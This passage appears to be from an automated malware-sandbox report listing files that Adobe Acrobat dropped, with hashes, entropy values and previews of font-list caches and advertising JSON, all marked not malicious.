Malicious:	false
Preview:	p...... ........ .../B..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2300

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2300

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.347762750097974
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGQ8HtSbVYYO2vB3/dVlPIHAR0YxDoAvJM3g98kUwPeUkwRe9:YvXKXaQ8NrV2vR/ZwHA6GMbLUkee9
MD5:	31A1B17DDCA8AEB0AD15729C8F925FAC
SHA1:	EFB40C0E7173038AD591BE01351264D18BEE7671
SHA-256:	A72E17A9D5D40176BC5913890244ECC909869CC94A5C23F963DD9F1F3C31FD63
SHA-512:	80C8F69CB01CBD529961EA137C4C0831A0D3AB8D8E2196E53249B2E6CCE242DC34EF408B9813E9519883639A0AF12B7D2AA51657ECC4450D377C78EBDAD27019
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb257e6-0b27-41c1-9e27-7561082e88f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1733044012645,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.282998730044781
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGQ8HtSbVYYO2vB3/dVlPIHAR0YxDoAvJfBoTfXpnrPeUkwRe9:YvXKXaQ8NrV2vR/ZwHA6GWTfXcUkee9
MD5:	F1E34B67F4CD0EAEA3F0FA07396AB46F
SHA1:	9691CBA966152DD857A8B2986A2BFA58D9063198
SHA-256:	63A6DCCA9D494C44E6EBA2468627C715D9CC453061696D2D0013EEBB82E94DA4
SHA-512:	8549DBAB0CC82CA219FADF5BFDB1FB4BE1D2A9F231C295639833BCFAB862A3030460BD70C5F5EAE486D97B708C3370633367ABF0B31D5FBCE7586445661E45B4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb257e6-0b27-41c1-9e27-7561082e88f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1733044012645,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.26181980509038
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGQ8HtSbVYYO2vB3/dVlPIHAR0YxDoAvJfBD2G6UpnrPeUkwRe9:YvXKXaQ8NrV2vR/ZwHA6GR22cUkee9
MD5:	21314029AAC405C59A285A15DFDB9DFF
SHA1:	CF8FBE7D048B21A552BFB2BCD0692AA5AD827B55
SHA-256:	752B826EB51354FD65FC3A37CB445D3A810A1831C9D9B5E8149120FF80589FB7
SHA-512:	B75909F081A53CB974F6A1C514FF3483D55192457E061D7943585699A788195F750FD14D276A3E54C64F8F86B3CF80713792C681DF4C774CC7171F37BD5AC11E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb257e6-0b27-41c1-9e27-7561082e88f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1733044012645,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.324163905898736
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGQ8HtSbVYYO2vB3/dVlPIHAR0YxDoAvJfPmwrPeUkwRe9:YvXKXaQ8NrV2vR/ZwHA6GH56Ukee9
MD5:	BD90AE31CBA0861FF63FF0346213FF10
SHA1:	F7C038DA1358B0B902F02196AB94F99BD77C8C33
SHA-256:	6975BAF200091EDE229E690FB17DD1A48650BCC6D17B66A40A1A026135B6B75B
SHA-512:	DA7BB93F139E50333EB18E4B7ED4E45B0318D2D72974D5F11D0506EA95B549B02F35AB9E45D5F730E5746599CAEA82C31F9673F55B06B132F5CE493CC1EC809D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb257e6-0b27-41c1-9e27-7561082e88f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1733044012645,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6958236135403775
Encrypted:	false
SSDEEP:	24:Yv6XD8n2JhbpLgE9cQx8LennAvzBvkn0RCmK8czOCCSL:YvaPJhbhgy6SAFv5Ah8cv/L
MD5:	93972672AA3CA0BF41A26076E696FAB4
SHA1:	4B329B374A8AE2E2C2601C2946B3A89DB684AF3C
SHA-256:	8DD8EEEDC9E3676EAF04A8912792E16A6B710FCB7346DBEB88DC681DA32534C1
SHA-512:	A81D07A8335F8506ED5D43EC0EFF58C727122BEA3D9FF9AFD9D99037182B8A207EE7B4D57B5610469D7DA1FE5D96DD67B9CB8C75E2F48D169E022DF32774BD42
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb257e6-0b27-41c1-9e27-7561082e88f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1733044012645,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1122
Entropy (8bit):	5.685254325237918
Encrypted:	false
SSDEEP:	24:Yv6XD8n2JhXVLgEwcp06ybnAvz7xHn0RCmK8czOCYHfl8zdBi:YvaPJhXFgSNycJUAh8cvYHt
MD5:	0C31AE5ACE4469373D7230E3A8EA6B17
SHA1:	069ABF4E2E03D5AA643DD77C3970B5438BF54111
SHA-256:	8F0702902FF7B89EDE99AAB206C8C968CD1EB2827EDC038C250B725499922836
SHA-512:	2F31E98D0844662F1F284F3A68EFF0592E9735B278C860EFA905A8119F69135C18B37FF8D666D26F1639E5FF64E15611668F6D889F9338D212C42578CD998B86
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb257e6-0b27-41c1-9e27-7561082e88f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1733044012645,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Disc_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93181_288855ActionBlock_0","campaignId":93181,"containerId":"1","controlGroupId":"","treatmentId":"1aad653c-ef44-43f7-be1c-3a2ba2cf2cfc","variationId":"288855"},"containerId":1,"containerLabel":"JSON for DC_Reader_Disc_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkNvbnZlcnQsIGVkaXQgYW5kIGUtc2lnblxuIFBERiBmb3JtcyAmIGFncmVlbWVudHMuIn0sInRjY

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.272809524607853
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGQ8HtSbVYYO2vB3/dVlPIHAR0YxDoAvJfQ1rPeUkwRe9:YvXKXaQ8NrV2vR/ZwHA6GY16Ukee9
MD5:	9104ED1D476A0FCC1E35C0E5544D6B78
SHA1:	1214E3C6AFF6E9232ED7CFAAA295838E80EB2690
SHA-256:	3F5AE7B171CB77CDD5C8C8800BDB7401AD6A18E2F3DDAEA04355AF27148CA77C
SHA-512:	F8B8FB6DE5F8393BEED7B112AEB549E301126E3309CF51013C8CC596A60B79FEA1493681723E92BBAF43305086336BA0552E11817E7FEEEE01E9BC7DA4FE9BBE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb257e6-0b27-41c1-9e27-7561082e88f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1733044012645,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1102
Entropy (8bit):	5.676962295912802
Encrypted:	false
SSDEEP:	24:Yv6XD8n2JhG2LgErcXWl7y0nAvzIBcSJCBViVi:YvaPJhGogH47yfkB5kVL
MD5:	0D4DCB3597932E568DFA9D6FFBDDFBD9
SHA1:	50D4A96C2C5A25A77159A466A64A3A8CB0F08037
SHA-256:	87ADB6739F33743D6833CB5D16A6C1BE2271095C44CB32B058C93E312AA663D8
SHA-512:	544CF19FB68C4953D7AA910E37C04FAEDCBF9CB60E1CC7F6277AB7362F87654267524BE64E5F362380A641D63CAF99830A7F75027F3346F6102C5A8FCA7E06BA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb257e6-0b27-41c1-9e27-7561082e88f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1733044012645,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Edit_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93181_288855ActionBlock_1","campaignId":93181,"containerId":"1","controlGroupId":"","treatmentId":"533ab5eb-b236-4889-89a5-ac002261d71e","variationId":"288855"},"containerId":1,"containerLabel":"JSON for DC_Reader_Edit_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkVkaXRQREZSZHJBcHBGdWxsIn0sInVpIjp7InRpdGxlX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTRweCIsImZvbnRfc3R5bGUiOiIwIn0sImRlc2NyaXB0aW9uX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTJweCIsImZvbnRfc3R5bGUiOiItMSJ9LCJ0aXRsZSI6bnVsbCwiZGVzY3JpcHRpb24iOiJFZGl0IHRleHQsIGltYWdlcywgcGFnZXMsIGFuZCBtb3JlLiJ9LCJ0Y2F0SWQiOm51bGx9","da

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1164
Entropy (8bit):	5.700939564051124
Encrypted:	false
SSDEEP:	24:Yv6XD8n2JhqKLgEfIcZVSkpsn264rS514ZjBrwloJTmcVIsrSK5i:YvaPJhqEgqprtrS5OZjSlwTmAfSKU
MD5:	982DD1C7B45B1B1CA2166A478781F275
SHA1:	CF42F08C5B0BC35297DD9D7D4889D72AA1DC6F29
SHA-256:	BE200935F448F887971D9B84F2C39E0B2279B35A6AC78F966E99A080F26C55BE
SHA-512:	59C94682AD3707A24E80AD7C00F12826713CE35DD904992061C2F56811ACDBEDE74C1C2115E615039DAE4D24DF5CAC485FB5E6ED369946102BF43E11E6BD7ACC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb257e6-0b27-41c1-9e27-7561082e88f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1733044012645,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Home_LHP_Trial_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"85531_264848ActionBlock_0","campaignId":85531,"containerId":"1","controlGroupId":"","treatmentId":"ee1a7497-76e7-43c2-bb63-9a0551e11d73","variationId":"264848"},"containerId":1,"containerLabel":"JSON for DC_Reader_Home_LHP_Trial_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IlRyeSBBY3JvYmF0IFBybyJ9LCJ1aSI6eyJ0aXRsZV9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjE1cHgiLCJmb250X3N0eWxlIjoiMCJ9LCJkZXNjcmlwdGlvbl9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjEzcHgiLCJmb250X3N0eWxlIjoiLTEifSwidGl0bGUiOiJGcmVlIHRyaWFsIiwiZGVzY3JpcHRpb24iOiJHZXQgdW5saW1pdGVkIGFjY2VzcyB0b1xucHJlbWl1bSBQREYgYW5kIGUtc2lnbmluZ1xudG9vbHMuIn0sImJhbm5lcl9zdHlsaW5nIjo

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.28364419338301
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGQ8HtSbVYYO2vB3/dVlPIHAR0YxDoAvJfYdPeUkwRe9:YvXKXaQ8NrV2vR/ZwHA6Gg8Ukee9
MD5:	6A537EE324C95CBEA796D4106822CEDA
SHA1:	FAF58FB8021CE458EA8C642B8C47494858FBCA24
SHA-256:	806BDBF94ED9DE10B0EA9D4EF4C4B77EEA09B73A8A3A376F364BC19F4B93FFB7
SHA-512:	C91A106F523C035510EA7994B5157C3839FD6ADC0D395B1BDFB4FD8DB91046A5575AFE69E4B69E7E8458A5E41D5806B03BC5EFDFB076D2E78CF87130BB77D1DA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb257e6-0b27-41c1-9e27-7561082e88f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1733044012645,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.269987965484496
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGQ8HtSbVYYO2vB3/dVlPIHAR0YxDoAvJf+dPeUkwRe9:YvXKXaQ8NrV2vR/ZwHA6G28Ukee9
MD5:	A17FC7691ABECEF380FF4801E9E587E1
SHA1:	2D1E75E625B1165A8735F051A45847F3179F9767
SHA-256:	F7E5F5569CECA356409E9B270E5761CEA76A39E6FBCD0C8ABD5EBFE5D1F8FC7D
SHA-512:	06F5E430F0AEE863D4A337B8548137AD0921CF542A804AB05D4CB0E2E9DF016ADE89374C06F3103ED1FA23092DC2D72FB91F568C68C3A3ADF4A413BEB9ED8B88
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb257e6-0b27-41c1-9e27-7561082e88f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1733044012645,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.267303702098915
Encrypted:	false
